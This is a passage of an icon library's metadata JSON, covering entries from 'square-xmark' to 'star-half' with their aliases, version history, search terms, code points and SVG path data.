        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"
      }
    },
    "free": ["brands"]
  },
  "square-xmark": {
    "aliases": {
      "names": ["times-square", "xmark-square"],
      "unicodes": {
        "composite": ["274e"],
        "secondary": ["10f2d3"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "close",
        "cross",
        "cross mark button",
        "incorrect",
        "mark",
        "notice",
        "notification",
        "notify",
        "problem",
        "square",
        "window",
        "wrong",
        "x",
        "×"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2d3",
    "label": "Square Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm79 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm79 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["solid"]
  },
  "square-youtube": {
    "aliases": {
      "names": ["youtube-square"],
      "unicodes": {
        "composite": ["f166"]
      }
    },
    "changes": ["5.0.3", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f431",
    "label": "YouTube Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z"
      }
    },
    "free": ["brands"]
  },
  "squarespace": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5be",
    "label": "Squarespace",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"
      }
    },
    "free": ["brands"]
  },
  "stack-exchange": {
    "changes": ["4.0.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f18d",
    "label": "Stack Exchange",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"
      }
    },
    "free": ["brands"]
  },
  "stack-overflow": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16c",
    "label": "Stack Overflow",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"
      }
    },
    "free": ["brands"]
  },
  "stackpath": {
    "changes": ["5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f842",
    "label": "Stackpath",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"
      }
    },
    "free": ["brands"]
  },
  "staff-snake": {
    "aliases": {
      "names": ["rod-asclepius", "rod-snake", "staff-aesculapius"]
    },
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["asclepius", "asklepian", "health", "serpent", "wellness"]
    },
    "styles": ["solid"],
    "unicode": "e579",
    "label": "Staff Snake",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M222.6 43.2l-.1 4.8H288c53 0 96 43 96 96s-43 96-96 96H248V160h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H248 220l-4.5 144H256c53 0 96 43 96 96s-43 96-96 96H240V384h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H213l-3.1 99.5L208.5 495l0 1c-.3 8.9-7.6 16-16.5 16s-16.2-7.1-16.5-16l0-1-1-31H136c-22.1 0-40-17.9-40-40s17.9-40 40-40h36l-1-32H152c-53 0-96-43-96-96c0-47.6 34.6-87.1 80-94.7V256c0 8.8 7.2 16 16 16h16.5L164 128H136 122.6c-9 18.9-28.3 32-50.6 32H56c-30.9 0-56-25.1-56-56S25.1 48 56 48h8 8 89.5l-.1-4.8L161 32c0-.7 0-1.3 0-1.9c.5-16.6 14.1-30 31-30s30.5 13.4 31 30c0 .6 0 1.3 0 1.9l-.4 11.2zM64 112a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M222.6 43.2l-.1 4.8H288c53 0 96 43 96 96s-43 96-96 96H248V160h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H248 220l-4.5 144H256c53 0 96 43 96 96s-43 96-96 96H240V384h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H213l-3.1 99.5L208.5 495l0 1c-.3 8.9-7.6 16-16.5 16s-16.2-7.1-16.5-16l0-1-1-31H136c-22.1 0-40-17.9-40-40s17.9-40 40-40h36l-1-32H152c-53 0-96-43-96-96c0-47.6 34.6-87.1 80-94.7V256c0 8.8 7.2 16 16 16h16.5L164 128H136 122.6c-9 18.9-28.3 32-50.6 32H56c-30.9 0-56-25.1-56-56S25.1 48 56 48h8 8 89.5l-.1-4.8L161 32c0-.7 0-1.3 0-1.9c.5-16.6 14.1-30 31-30s30.5 13.4 31 30c0 .6 0 1.3 0 1.9l-.4 11.2zM64 112a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "stairs": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "steps", "up"]
    },
    "styles": ["solid"],
    "unicode": "e289",
    "label": "Stairs",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 64c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v96c0 17.7-14.3 32-32 32H320v96c0 17.7-14.3 32-32 32H192v96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V320c0-17.7 14.3-32 32-32h96V192c0-17.7 14.3-32 32-32h96V64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 64c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v96c0 17.7-14.3 32-32 32H320v96c0 17.7-14.3 32-32 32H192v96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V320c0-17.7 14.3-32 32-32h96V192c0-17.7 14.3-32 32-32h96V64z"
      }
    },
    "free": ["solid"]
  },
  "stamp": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bf"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["art", "certificate", "imprint", "rubber", "seal"]
    },
    "styles": ["solid"],
    "unicode": "f5bf",
    "label": "Stamp",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M312 201.8c0-17.4 9.2-33.2 19.9-47C344.5 138.5 352 118.1 352 96c0-53-43-96-96-96s-96 43-96 96c0 22.1 7.5 42.5 20.1 58.8c10.7 13.8 19.9 29.6 19.9 47c0 29.9-24.3 54.2-54.2 54.2H112C50.1 256 0 306.1 0 368c0 20.9 13.4 38.7 32 45.3V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V413.3c18.6-6.6 32-24.4 32-45.3c0-61.9-50.1-112-112-112H366.2c-29.9 0-54.2-24.3-54.2-54.2zM416 416v32H96V416H416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M312 201.8c0-17.4 9.2-33.2 19.9-47C344.5 138.5 352 118.1 352 96c0-53-43-96-96-96s-96 43-96 96c0 22.1 7.5 42.5 20.1 58.8c10.7 13.8 19.9 29.6 19.9 47c0 29.9-24.3 54.2-54.2 54.2H112C50.1 256 0 306.1 0 368c0 20.9 13.4 38.7 32 45.3V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V413.3c18.6-6.6 32-24.4 32-45.3c0-61.9-50.1-112-112-112H366.2c-29.9 0-54.2-24.3-54.2-54.2zM416 416v32H96V416H416z"
      }
    },
    "free": ["solid"]
  },
  "stapler": {
    "changes": ["6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["desktop", "milton", "office", "paperclip", "staple"]
    },
    "styles": ["solid"],
    "unicode": "e5af",
    "label": "Stapler",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 299.3V304 432c0 26.5-21.5 48-48 48H512 448 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H448V368H96c-17.7 0-32-14.3-32-32V219.4L33.8 214C14.2 210.5 0 193.5 0 173.7c0-8.9 2.9-17.5 8.2-24.6l35.6-47.5C76.7 57.8 128.2 32 182.9 32c27 0 53.6 6.3 77.8 18.4L586.9 213.5C619.5 229.7 640 263 640 299.3zM448 304V288L128 230.9V304H448z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 299.3V304 432c0 26.5-21.5 48-48 48H512 448 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H448V368H96c-17.7 0-32-14.3-32-32V219.4L33.8 214C14.2 210.5 0 193.5 0 173.7c0-8.9 2.9-17.5 8.2-24.6l35.6-47.5C76.7 57.8 128.2 32 182.9 32c27 0 53.6 6.3 77.8 18.4L586.9 213.5C619.5 229.7 640 263 640 299.3zM448 304V288L128 230.9V304H448z"
      }
    },
    "free": ["solid"]
  },
  "star": {
    "aliases": {
      "unicodes": {
        "composite": ["2b50", "f006"],
        "secondary": ["10f005"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "favorite",
        "important",
        "night",
        "rating",
        "score",
        "star"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f005",
    "label": "Star",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"
      }
    },
    "free": ["regular", "solid"]
  },
  "star-and-crescent": {
    "aliases": {
      "unicodes": {
        "composite": ["262a"],
        "secondary": ["10f699"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Muslim", "islam", "muslim", "religion", "star and crescent"]
    },
    "styles": ["solid"],
    "unicode": "f699",
    "label": "Star And Crescent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 114.6 114.6 0 256 0c33 0 64.6 6.3 93.6 17.7c7.4 2.9 11.5 10.7 9.8 18.4s-8.8 13-16.7 12.4c-4.8-.3-9.7-.5-14.6-.5c-114.9 0-208 93.1-208 208s93.1 208 208 208c4.9 0 9.8-.2 14.6-.5c7.9-.5 15 4.7 16.7 12.4s-2.4 15.5-9.8 18.4C320.6 505.7 289 512 256 512C114.6 512 0 397.4 0 256zM375.4 137.4c3.5-7.1 13.7-7.1 17.2 0l31.5 63.8c1.4 2.8 4.1 4.8 7.2 5.3l70.4 10.2c7.9 1.1 11 10.8 5.3 16.4l-50.9 49.6c-2.3 2.2-3.3 5.4-2.8 8.5l12 70.1c1.3 7.8-6.9 13.8-13.9 10.1l-63-33.1c-2.8-1.5-6.1-1.5-8.9 0l-63 33.1c-7 3.7-15.3-2.3-13.9-10.1l12-70.1c.5-3.1-.5-6.3-2.8-8.5L261 233.1c-5.7-5.6-2.6-15.2 5.3-16.4l70.4-10.2c3.1-.5 5.8-2.4 7.2-5.3l31.5-63.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 114.6 114.6 0 256 0c33 0 64.6 6.3 93.6 17.7c7.4 2.9 11.5 10.7 9.8 18.4s-8.8 13-16.7 12.4c-4.8-.3-9.7-.5-14.6-.5c-114.9 0-208 93.1-208 208s93.1 208 208 208c4.9 0 9.8-.2 14.6-.5c7.9-.5 15 4.7 16.7 12.4s-2.4 15.5-9.8 18.4C320.6 505.7 289 512 256 512C114.6 512 0 397.4 0 256zM375.4 137.4c3.5-7.1 13.7-7.1 17.2 0l31.5 63.8c1.4 2.8 4.1 4.8 7.2 5.3l70.4 10.2c7.9 1.1 11 10.8 5.3 16.4l-50.9 49.6c-2.3 2.2-3.3 5.4-2.8 8.5l12 70.1c1.3 7.8-6.9 13.8-13.9 10.1l-63-33.1c-2.8-1.5-6.1-1.5-8.9 0l-63 33.1c-7 3.7-15.3-2.3-13.9-10.1l12-70.1c.5-3.1-.5-6.3-2.8-8.5L261 233.1c-5.7-5.6-2.6-15.2 5.3-16.4l70.4-10.2c3.1-.5 5.8-2.4 7.2-5.3l31.5-63.8z"
      }
    },
    "free": ["solid"]
  },
  "star-half": {
    "aliases": {
      "unicodes": {
        "composite": ["f123"],
        "secondary": ["10f089"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "rating",
        "score",
        "star-half-empty",
        "star-half-full"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f089",
    "label": "Star Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c-12.2 .1-23.3 7-28.6 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3L288 439.8V0zM429.9 512c1.1 .1 2.1 .1 3.2 0h-3.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0c-12.2 .1-23.3 7-28.6 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3L288 439.8V0zM429.9 512c1.1 .1 2.1 .1 3.2 0h-3.2z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M293.3 .6c10.9 2.5 18.6 12.2 18.6 23.4V408.7c0 8.9-4.9 17-12.7 21.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5c4.9-10.1 16.1-15.4 27-12.9zM263.9 128.4l-28.6 58.8c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l92.5-49.4V128.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
